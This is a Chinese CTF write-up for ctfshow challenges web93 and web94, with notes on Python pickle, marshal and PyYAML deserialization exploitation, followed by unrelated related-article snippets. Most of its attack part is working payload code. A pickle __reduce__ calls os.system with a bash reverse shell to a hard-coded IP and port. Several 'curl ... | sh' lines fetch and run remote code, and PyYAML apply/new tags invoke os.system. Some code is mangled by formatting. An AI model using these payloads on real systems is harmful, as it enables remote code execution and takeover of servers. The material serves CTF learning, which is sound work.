当前位置: 首页 > news >正文

Jay17 2023.8.10日报

笔记

【python反序列化】

序列化
类对象->字节流(字符串)

反序列化
字节流->对象

python反序列化没PHP这么灵活,没这么多魔术方法。


import pickle
import os

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):return username=="admin" and password=="123456"

c=ctfshow()

data=c.login(“admin”,“123456”) #返回True

print(data)


import pickle
import os
import base64

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):return username=="admin" and password=="123456"#相当于PHP里面的__wakeup()
#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
#第二个元素是一个元组,包含两个及以上元素。
def __reduce__(self):print("reduce")return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)



c=ctfshow()

#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod,可以CV。
#print(base64.b64encode(serialize))
#反序列化,执行命令
#pickle.loads(serialize)

#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)


注意点:
向服务端传入payload,如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。

服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

python序列化常用的模板: //例题93
1 pickle
2 json

【特征:】
竟然不需要 恶意类

反序列化字符串里面包含类的所有定义,包括类的方法
php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板
python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法




Marshal 反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理

模板:
import base64
import pickle
import marshal

def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code

shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))




PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

payload:
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]




题解wp

web93

题目要求我们在/unserialize路由POST提交一个参数data,data经过base64编码。

image-20230810164544248

不知道题目的考点,先传参data=MQ==看看报错。MQ==1的base64编码。

image-20230810165052158

发现了关键代码,pickle反序列化。pytohn版本是3.8

#base64解码传进来的值,并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']

生成payload的脚本:

import pickle
import os
import base64class ctfshow():def __init__(self):self.username=0self.password=0#相当于PHP里面的__wakeup()#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。#第二个元素是一个元组,包含两个及以上元素。def __reduce__(self):print("reduce")#弹shellreturn (os.system,('curl https://your-shell.com/vps-ip:port | sh',))c=ctfshow()#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod,可以CV。
print(base64.b64encode(serialize))#反序列化,执行命令
#pickle.loads(serialize)#写入文件
#with open("ctfshow.ser","wb") as f:
#	pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
#	pickle.load(f)

注意点:

向服务端传入payload,如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

同时,python版本也需要一致。

KALI是linux,在KALI里面生成payload。

那就又来了一个注意点

一开始一直报错:

partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)

image-20230810172808787

尝试过重装pickle库、重装pip,都没用。后来发现是文件名和pickle库的名字重了,文件名不能是pickle.py

image-20230810172845065

经过尝试,服务端应该是把ncbash两个命令给ban了,只能用平台来弹shell。

image-20230810201223690

image-20230810201240153

web94

题目明显提示是python中的PyYAML 反序列化。

image-20230810214851629

PyYAML 反序列化利用方面,危险标签有三种。

!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

这次还是选择使用平台来反弹shell,估计还是把ncbash两个命令给ban了。

经过尝试,能用的危险标签是!!python/object/new!!python/object/apply

payload:

data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

image-20230810215348295

直接拿flag了。

image-20230810215421614

相关文章:

Jay17 2023.8.10日报

笔记 【python反序列化】 序列化 类对象->字节流(字符串) 反序列化 字节流->对象 python反序列化没PHP这么灵活,没这么多魔术方法。 import pickle import os class ctfshow(): def init(self): self.username0 self.password0 d…...

Winform中DatagridView 表头实现一个加上一个checkBox,实现全选选项功能

实现效果 点击checkBox1或者直接在第一列列表头点击即可实现 代码实现 我的datagridview叫dgv 我在datagridview已经默认添加了一个DataGridViewCheckBoxColumn,勾选时value为1,不勾选时value为0 第一种通过可视化拖动一个checkBox来实现 拖动组…...

rust基础

这是笔者学习rust的学习笔记(如有谬误,请君轻喷) 参考视频: https://www.bilibili.com/video/BV1hp4y1k7SV参考书籍:rust程序设计语言:https://rust.bootcss.com/title-page.htmlmarkdown地址:h…...

剑指offer39.数组中出现次数超过一半的数字

这个题非常简单&#xff0c;解法有很多种&#xff0c;我用的是HashMap记录每个元素出现的次数&#xff0c;只要次数大于数组长度的一半就返回。下面是我的代码&#xff1a; class Solution {public int majorityElement(int[] nums) {int len nums.length/2;HashMap<Integ…...

spring技术栈面试题

1 Spring支持的事务管理类型有哪些&#xff1f;你在项目中使用哪种方式&#xff1f; Spring支持两种类型的事务管理&#xff1a; 编程式事务管理&#xff1a;这意味你通过编程的方式管理事务&#xff0c;给你带来极大的灵活性&#xff0c;但是难维护。声明式事务管理&#x…...

Android Glide MemorySizeCalculator计算值,Kotlin

Android Glide MemorySizeCalculator计算值,Kotlin for (i in 100..1000 step 50) {val calculator MemorySizeCalculator.Builder(this).setMemoryCacheScreens(i.toFloat()).setBitmapPoolScreens(i.toFloat()).setMaxSizeMultiplier(0.8f).setLowMemoryMaxSizeMultiplier(0…...

KEIL自带的Jlink怎么升级更换版本

问题背景 V4.20以上的keil安装包中都自带Jlink驱动包&#xff0c;即当你安装了KEIL后&#xff0c;Debug或Download就是用的安装KEIL时附带安装的Jlink版本。 那如果存在这种情况&#xff0c;你正在开发的芯片比较新&#xff0c;只有比较新的Jlink驱动软件才能支持&#xff0c…...

图的遍历之 深度优先搜索和广度优先搜索

深度优先搜索的图文介绍 1. 深度优先搜索介绍 图的深度优先搜索(Depth First Search)&#xff0c;和树的先序遍历比较类似。 它的思想&#xff1a;假设初始状态是图中所有顶点均未被访问&#xff0c;则从某个顶点v出发&#xff0c;首先访问该顶点&#xff0c;然后依次从它的各…...

Java学习笔记27——file类

File类 概述和构造方法概述构造方法 File的创建功能File类判断和获取功能File的删除功能 概述和构造方法 概述 在java.io下 具体的类 file是文件和目录路径名的抽象表示 文件和目录是可以封装成对象的对于file而言&#xff0c;其封装的并不是真正存在的文件&#xff08;可以…...

细胞——求细胞数量 C++详解

细胞——求细胞数量 C详解 求细胞数量题目描述输入格式输出格式样例样例输入样例输出 提示数据规模与约定 解法代码 求细胞数量 题目描述 一矩形阵列由数字 0 0 0 到 9 9 9 组成&#xff0c;数字 1 1 1 到 9 9 9 代表细胞&#xff0c;细胞的定义为沿细胞数字上下左右若还…...

【计算机视觉】关于图像处理的一些基本操作

目录 图像平滑滤波处理均值滤波计算过程python实现 高斯滤波计算过程python实现 中值滤波计算过程python实现 图像的边缘检测Robert算子计算过程python实现 图像处理腐蚀算子计算过程python实现 Hog&#xff08;梯度方向直方图&#xff09;特征计算流程&#xff1a;Hog的特征维…...

Android Animation Made Easy

原文链接 Android Animation Made Easy 动画在任何一个GUI系统中都是一个非常重要的设计元素&#xff0c;它可以让交互变得优雅&#xff0c;让界面变得炫酷&#xff0c;让操作变得更加的舒畅&#xff0c;让状态过渡变得更加的顺滑&#xff0c;对视觉效果有极大的提升&#xff…...

56从零开始学Java之与字符串相关的正则表达式

作者&#xff1a;孙玉昌&#xff0c;昵称【一一哥】&#xff0c;另外【壹壹哥】也是我哦 千锋教育高级教研员、CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者 前言 在上一篇文章中&#xff0c;壹哥给大家介绍了String字符串及其各种常用API方法&#xff0c;接下来壹哥…...

STM32 定时器自动重装载寄存器ARR带来的影响,ARPE0和1区别

ARR是啥 自动重载寄存器是预装载的。对自动重载寄存器执行写入或读取操作时会访问预装载寄存器。预装载寄存器的内容既可以直接传送到影子寄存器&#xff0c;也可以在每次发生更新事件 (UEV) 时传送到影子寄存器&#xff0c;这取决于 TIMx_CR1 寄存器中的自动重载预装载使能位 …...

vue 把<style scoped lang=“less“> 单独写成less文件再导入使用

1 npm npm install less-loader --save-dev2 创建一个单独的 Less 文件&#xff0c;例如 app.less <style scoped lang"less"> import url(./app.less); </style>3 在 app.less 文件中&#xff0c;编写 Less 样式代码 .container {width: 500px;margi…...

C++ 字符串

C 字符串 一、字符串两种写法 c语言的写法&#xff0c;可以延用 const char* str1 "huang"; char str2[] "Hello, World!";c写法 std::string str "Hello, World!";二、字符串计算长度 c语言的计算字符串长度&#xff0c;需要导入库 #inc…...

springboot 报错处理(长期更新 2023.8.10)

目录 一、HTTP 相关1.1、 数据传输方面1.1.1、 HttpMessageNotWritableException1.1.1.1、 springboot + stomp 场景一、HTTP 相关 1.1、 数据传输方面 1.1.1、 HttpMessageNotWritableException 1.1.1.1、 springboot + stomp 场景 报错内容: 使用 spring boot 和 stomp 服…...

Maven出现报错 ; Unable to import maven project: See logs for details错误的多种解决方法

问题现象; IDEA版本&#xff1a; Maven 版本 &#xff1a; 3.3.9 0.检查 maven 的设置 &#xff1a;F:\softeware\maven\apache-maven-3.9.3\conf 检查setting.xml 配置 本地仓库<localRepository>F:\softeware\maven\local\repository</localRepository>镜像…...

33_windows环境debug Nginx 源码-安装WSL

文章目录 前言安装 WSL先决条件启用 windows 更新功能真正安装 WSL133_windows环境debug Nginx 源码-安装WSL前言 虽然很想在纯 windows 环境,基于windows 的生态完成debug,但现实情况是 由于Nginx 源码编写的很多内容都和 linux 更加耦合;且不说使用 Visual-Studio 安装 C/…...

Java中的ZooKeeper是什么?

Java中的ZooKeeper是一个开源的分布式协调服务&#xff0c;它可以帮助我们管理分布式系统中的数据和配置信息。ZooKeeper是由Facebook开发的一个开源项目&#xff0c;它被广泛用于Facebook的分布式系统。 ZooKeeper的名称来源于动物园管理员&#xff08;Zookeeper&#xff09;…...

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

python/java环境配置

环境变量放一起 python&#xff1a; 1.首先下载Python Python下载地址&#xff1a;Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个&#xff0c;然后自定义&#xff0c;全选 可以把前4个选上 3.环境配置 1&#xff09;搜高级系统设置 2…...

postgresql|数据库|只读用户的创建和删除(备忘)

CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

关于 WASM:1. WASM 基础原理

一、WASM 简介 1.1 WebAssembly 是什么&#xff1f; WebAssembly&#xff08;WASM&#xff09; 是一种能在现代浏览器中高效运行的二进制指令格式&#xff0c;它不是传统的编程语言&#xff0c;而是一种 低级字节码格式&#xff0c;可由高级语言&#xff08;如 C、C、Rust&am…...

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...

多模态图像修复系统:基于深度学习的图片修复实现

多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验

Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...

学习一下用鸿蒙​​DevEco Studio HarmonyOS5实现百度地图

在鸿蒙&#xff08;HarmonyOS5&#xff09;中集成百度地图&#xff0c;可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API&#xff0c;可以构建跨设备的定位、导航和地图展示功能。 ​​1. 鸿蒙环境准备​​ ​​开发工具​​&#xff1a;下载安装 ​​De…...